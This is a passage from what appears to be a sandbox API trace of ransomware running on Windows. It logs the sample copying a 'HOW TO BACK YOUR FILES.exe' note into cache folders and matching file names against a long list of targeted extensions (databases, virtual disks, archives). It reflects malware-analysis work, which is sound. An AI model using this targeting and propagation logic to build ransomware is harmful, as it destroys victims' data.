(HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a418 [0102.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9c) returned 0x522f78 [0102.109] lstrcatW (in: lpString1="updates", lpString2="\\" | out: lpString1="updates\\") returned="updates\\" [0102.109] lstrcatW (in: lpString1="updates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="updates\\HOW TO BACK YOUR FILES.exe") returned="updates\\HOW TO BACK YOUR FILES.exe" [0102.109] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla\\updates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\mozilla\\updates\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.111] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 0 [0102.111] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.111] ReleaseMutex (hMutex=0xec) returned 1 [0102.111] CloseHandle (hObject=0xec) returned 1 [0102.111] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files" [0102.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50baa0 | out: hHeap=0x4f0000) returned 1 [0102.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a448 | out: hHeap=0x4f0000) returned 1 [0102.111] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files") returned 86 [0102.111] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\900F1ED68C7634DF1B672529FD40C0E1") returned 0xec [0102.111] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.111] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files" [0102.111] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.112] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.112] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\temporary internet files\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.112] GetLastError () returned 0x0 [0102.112] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.112] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.113] CloseHandle (hObject=0xf4) returned 1 [0102.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.113] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.113] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62b16e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.114] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.114] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.114] lstrcpyW (in: lpString1=0x241e8f6, lpString2="Content.IE5" | out: lpString1="Content.IE5") returned="Content.IE5" [0102.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a448 [0102.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc6) returned 0x544070 [0102.114] lstrcatW (in: lpString1="Content.IE5", lpString2="\\" | out: lpString1="Content.IE5\\") returned="Content.IE5\\" [0102.114] lstrcatW (in: lpString1="Content.IE5\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Content.IE5\\HOW TO BACK YOUR FILES.exe") returned="Content.IE5\\HOW TO BACK YOUR FILES.exe" [0102.114] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\Content.IE5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\temporary internet files\\content.ie5\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.117] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content.MSO", cAlternateFileName="")) returned 1 [0102.117] lstrcmpiW (lpString1="Content.MSO", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.117] lstrcmpiW (lpString1="Content.MSO", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.117] lstrcpyW (in: lpString1=0x241e8f6, lpString2="Content.MSO" | out: lpString1="Content.MSO") returned="Content.MSO" [0102.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546118 [0102.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc6) returned 0x544140 [0102.117] lstrcatW (in: lpString1="Content.MSO", lpString2="\\" | out: lpString1="Content.MSO\\") returned="Content.MSO\\" [0102.117] lstrcatW (in: lpString1="Content.MSO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Content.MSO\\HOW TO BACK YOUR FILES.exe") returned="Content.MSO\\HOW TO BACK YOUR FILES.exe" [0102.117] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\Content.MSO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\temporary internet files\\content.mso\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.122] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27b4c650, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content.Word", cAlternateFileName="CONTEN~1.WOR")) returned 1 [0102.122] lstrcmpiW (lpString1="Content.Word", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.122] lstrcmpiW (lpString1="Content.Word", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.122] lstrcpyW (in: lpString1=0x241e8f6, lpString2="Content.Word" | out: lpString1="Content.Word") returned="Content.Word" [0102.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546130 [0102.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc8) returned 0x544210 [0102.122] lstrcatW (in: lpString1="Content.Word", lpString2="\\" | out: lpString1="Content.Word\\") returned="Content.Word\\" [0102.122] lstrcatW (in: lpString1="Content.Word\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Content.Word\\HOW TO BACK YOUR FILES.exe") returned="Content.Word\\HOW TO BACK YOUR FILES.exe" [0102.122] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\Content.Word\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\temporary internet files\\content.word\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.124] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe710360, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0102.124] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.124] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.124] lstrcpyW (in: lpString1=0x241e8f6, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0102.125] lstrlenW (lpString="desktop.ini") returned 11 [0102.125] lstrlenW (lpString="Athena865") returned 9 [0102.125] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0102.125] lstrlenW (lpString=".dll") returned 4 [0102.125] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0102.125] lstrlenW (lpString=".lnk") returned 4 [0102.125] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0102.125] lstrlenW (lpString=".ini") returned 4 [0102.125] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0102.125] lstrlenW (lpString=".sys") returned 4 [0102.125] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0102.125] lstrlenW (lpString="desktop.ini") returned 11 [0102.125] lstrlenW (lpString="bak") returned 3 [0102.125] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0102.125] lstrlenW (lpString="ba_") returned 3 [0102.125] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0102.125] lstrlenW (lpString="dbb") returned 3 [0102.125] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0102.125] lstrlenW (lpString="vmdk") returned 4 [0102.125] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0102.125] lstrlenW (lpString="rar") returned 3 [0102.125] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0102.125] lstrlenW (lpString="zip") returned 3 [0102.125] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0102.125] lstrlenW (lpString="tgz") returned 3 [0102.125] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0102.125] lstrlenW (lpString="vbox") returned 4 [0102.125] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0102.125] lstrlenW (lpString="vdi") returned 3 [0102.125] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0102.126] lstrlenW (lpString="vhd") returned 3 [0102.126] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0102.126] lstrlenW (lpString="vhdx") returned 4 [0102.126] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0102.126] lstrlenW (lpString="avhd") returned 4 [0102.126] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0102.126] lstrlenW (lpString="db") returned 2 [0102.126] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0102.126] lstrlenW (lpString="db2") returned 3 [0102.126] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0102.126] lstrlenW (lpString="db3") returned 3 [0102.126] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0102.126] lstrlenW (lpString="dbf") returned 3 [0102.126] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0102.126] lstrlenW (lpString="mdf") returned 3 [0102.126] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0102.126] lstrlenW (lpString="mdb") returned 3 [0102.126] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0102.126] lstrlenW (lpString="sql") returned 3 [0102.126] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0102.126] lstrlenW (lpString="sqlite") returned 6 [0102.126] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0102.126] lstrlenW (lpString="sqlite3") returned 7 [0102.126] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0102.126] lstrlenW (lpString="sqlitedb") returned 8 [0102.126] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0102.126] lstrlenW (lpString="xml") returned 3 [0102.126] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0102.126] lstrlenW (lpString="$er") returned 3 [0102.126] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0102.126] lstrlenW (lpString="4dd") returned 3 [0102.126] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0102.127] lstrlenW (lpString="4dl") returned 3 [0102.127] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0102.127] lstrlenW (lpString="^^^") returned 3 [0102.127] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0102.127] lstrlenW (lpString="abs") returned 3 [0102.127] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0102.127] lstrlenW (lpString="abx") returned 3 [0102.127] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0102.127] lstrlenW (lpString="accdb") returned 5 [0102.127] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0102.127] lstrlenW (lpString="accdc") returned 5 [0102.127] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0102.127] lstrlenW (lpString="accde") returned 5 [0102.127] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0102.127] lstrlenW (lpString="accdr") returned 5 [0102.127] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0102.127] lstrlenW (lpString="accdt") returned 5 [0102.127] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0102.127] lstrlenW (lpString="accdw") returned 5 [0102.127] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0102.127] lstrlenW (lpString="accft") returned 5 [0102.127] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0102.127] lstrlenW (lpString="adb") returned 3 [0102.127] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0102.127] lstrlenW (lpString="adb") returned 3 [0102.127] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0102.127] lstrlenW (lpString="ade") returned 3 [0102.127] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0102.127] lstrlenW (lpString="adf") returned 3 [0102.127] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0102.127] lstrlenW (lpString="adn") returned 3 [0102.128] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0102.128] lstrlenW (lpString="adp") returned 3 [0102.128] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0102.128] lstrlenW (lpString="alf") returned 3 [0102.128] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0102.128] lstrlenW (lpString="ask") returned 3 [0102.128] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0102.128] lstrlenW (lpString="btr") returned 3 [0102.128] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0102.128] lstrlenW (lpString="cat") returned 3 [0102.128] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0102.128] lstrlenW (lpString="cdb") returned 3 [0102.128] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0102.128] lstrlenW (lpString="ckp") returned 3 [0102.128] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0102.128] lstrlenW (lpString="cma") returned 3 [0102.128] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0102.128] lstrlenW (lpString="cpd") returned 3 [0102.128] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0102.128] lstrlenW (lpString="dacpac") returned 6 [0102.128] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0102.128] lstrlenW (lpString="dad") returned 3 [0102.128] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0102.128] lstrlenW (lpString="dadiagrams") returned 10 [0102.128] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0102.128] lstrlenW (lpString="daschema") returned 8 [0102.128] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0102.128] lstrlenW (lpString="db-journal") returned 10 [0102.128] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0102.128] lstrlenW (lpString="db-shm") returned 6 [0102.128] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0102.128] lstrlenW (lpString="db-wal") returned 6 [0102.129] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0102.129] lstrlenW (lpString="dbc") returned 3 [0102.129] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0102.129] lstrlenW (lpString="dbs") returned 3 [0102.129] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0102.129] lstrlenW (lpString="dbt") returned 3 [0102.129] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0102.129] lstrlenW (lpString="dbv") returned 3 [0102.129] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0102.129] lstrlenW (lpString="dbx") returned 3 [0102.129] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0102.129] lstrlenW (lpString="dcb") returned 3 [0102.129] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0102.129] lstrlenW (lpString="dct") returned 3 [0102.129] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0102.129] lstrlenW (lpString="dcx") returned 3 [0102.129] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0102.129] lstrlenW (lpString="ddl") returned 3 [0102.129] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0102.129] lstrlenW (lpString="dlis") returned 4 [0102.129] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0102.129] lstrlenW (lpString="dp1") returned 3 [0102.129] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0102.129] lstrlenW (lpString="dqy") returned 3 [0102.129] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0102.129] lstrlenW (lpString="dsk") returned 3 [0102.129] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0102.129] lstrlenW (lpString="dsn") returned 3 [0102.129] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0102.129] lstrlenW (lpString="dtsx") returned 4 [0102.129] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0102.129] lstrlenW (lpString="dxl") returned 3 [0102.130] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0102.130] lstrlenW (lpString="eco") returned 3 [0102.130] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0102.130] lstrlenW (lpString="ecx") returned 3 [0102.130] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0102.130] lstrlenW (lpString="edb") returned 3 [0102.130] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0102.130] lstrlenW (lpString="epim") returned 4 [0102.130] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0102.130] lstrlenW (lpString="fcd") returned 3 [0102.130] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0102.130] lstrlenW (lpString="fdb") returned 3 [0102.130] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0102.130] lstrlenW (lpString="fic") returned 3 [0102.130] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0102.130] lstrlenW (lpString="flexolibrary") returned 12 [0102.130] lstrlenW (lpString="fm5") returned 3 [0102.130] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0102.130] lstrlenW (lpString="fmp") returned 3 [0102.130] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0102.130] lstrlenW (lpString="fmp12") returned 5 [0102.130] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0102.130] lstrlenW (lpString="fmpsl") returned 5 [0102.130] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0102.130] lstrlenW (lpString="fol") returned 3 [0102.130] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0102.130] lstrlenW (lpString="fp3") returned 3 [0102.130] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0102.130] lstrlenW (lpString="fp4") returned 3 [0102.130] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0102.131] lstrlenW (lpString="fp5") returned 3 [0102.131] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0102.131] lstrlenW (lpString="fp7") returned 3 [0102.131] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0102.131] lstrlenW (lpString="fpt") returned 3 [0102.131] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0102.131] lstrlenW (lpString="frm") returned 3 [0102.131] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0102.131] lstrlenW (lpString="gdb") returned 3 [0102.131] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0102.131] lstrlenW (lpString="gdb") returned 3 [0102.131] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0102.131] lstrlenW (lpString="grdb") returned 4 [0102.131] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0102.131] lstrlenW (lpString="gwi") returned 3 [0102.131] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0102.131] lstrlenW (lpString="hdb") returned 3 [0102.131] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0102.131] lstrlenW (lpString="his") returned 3 [0102.131] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0102.131] lstrlenW (lpString="ib") returned 2 [0102.131] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0102.131] lstrlenW (lpString="idb") returned 3 [0102.131] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0102.131] lstrlenW (lpString="ihx") returned 3 [0102.131] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0102.131] lstrlenW (lpString="itdb") returned 4 [0102.131] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0102.131] lstrlenW (lpString="itw") returned 3 [0102.131] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0102.131] lstrlenW (lpString="jet") returned 3 [0102.132] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0102.132] lstrlenW (lpString="jtx") returned 3 [0102.132] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0102.132] lstrlenW (lpString="kdb") returned 3 [0102.132] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0102.132] lstrlenW (lpString="kexi") returned 4 [0102.132] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0102.132] lstrlenW (lpString="kexic") returned 5 [0102.132] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0102.132] lstrlenW (lpString="kexis") returned 5 [0102.132] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0102.132] lstrlenW (lpString="lgc") returned 3 [0102.132] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0102.132] lstrlenW (lpString="lwx") returned 3 [0102.132] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0102.132] lstrlenW (lpString="maf") returned 3 [0102.132] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0102.132] lstrlenW (lpString="maq") returned 3 [0102.132] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0102.132] lstrlenW (lpString="mar") returned 3 [0102.132] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0102.132] lstrlenW (lpString="marshal") returned 7 [0102.132] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0102.132] lstrlenW (lpString="mas") returned 3 [0102.132] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0102.132] lstrlenW (lpString="mav") returned 3 [0102.132] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0102.132] lstrlenW (lpString="maw") returned 3 [0102.132] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0102.132] lstrlenW (lpString="mdbhtml") returned 7 [0102.132] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0102.133] lstrlenW (lpString="mdn") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0102.133] lstrlenW (lpString="mdt") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0102.133] lstrlenW (lpString="mfd") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0102.133] lstrlenW (lpString="mpd") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0102.133] lstrlenW (lpString="mrg") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0102.133] lstrlenW (lpString="mud") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0102.133] lstrlenW (lpString="mwb") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0102.133] lstrlenW (lpString="myd") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0102.133] lstrlenW (lpString="ndf") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0102.133] lstrlenW (lpString="nnt") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0102.133] lstrlenW (lpString="nrmlib") returned 6 [0102.133] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0102.133] lstrlenW (lpString="ns2") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0102.133] lstrlenW (lpString="ns3") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0102.133] lstrlenW (lpString="ns4") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0102.133] 